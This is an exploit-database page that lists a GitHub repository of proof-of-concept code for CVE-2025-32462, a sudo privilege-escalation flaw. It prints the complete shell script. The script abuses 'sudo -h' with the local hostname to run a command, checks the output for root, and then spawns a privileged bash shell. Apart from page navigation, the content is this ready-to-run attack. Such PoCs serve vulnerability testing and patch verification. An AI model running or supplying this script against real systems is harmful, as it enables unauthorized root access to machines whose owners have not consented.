Exploit database

GH-383c7da05b64843d3b458f1dc08c6c6f

0p5cur/cve-2025-32462-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32462

10 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0p5cur/cve-2025-32462-pocRevision 254a111bec34

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-32462.sh

Shell · 381 bytes
#!/bin/bash
# CVE-2025-32462 – sudo -h privilege escalation PoC
# by opscur 
echo "[+] Testing for CVE-2025-32462 bypass via 'sudo -h'..."
HOST=$(hostname)
CMD=${1:-id}

if sudo -h "$HOST" $CMD 2>/dev/null | grep -q "uid=0(root)"; then
    echo "[+] Success: Root access granted!"
    sudo -h "$HOST" /bin/bash -p
else
    echo "[-] The target is not vulnerable"
fi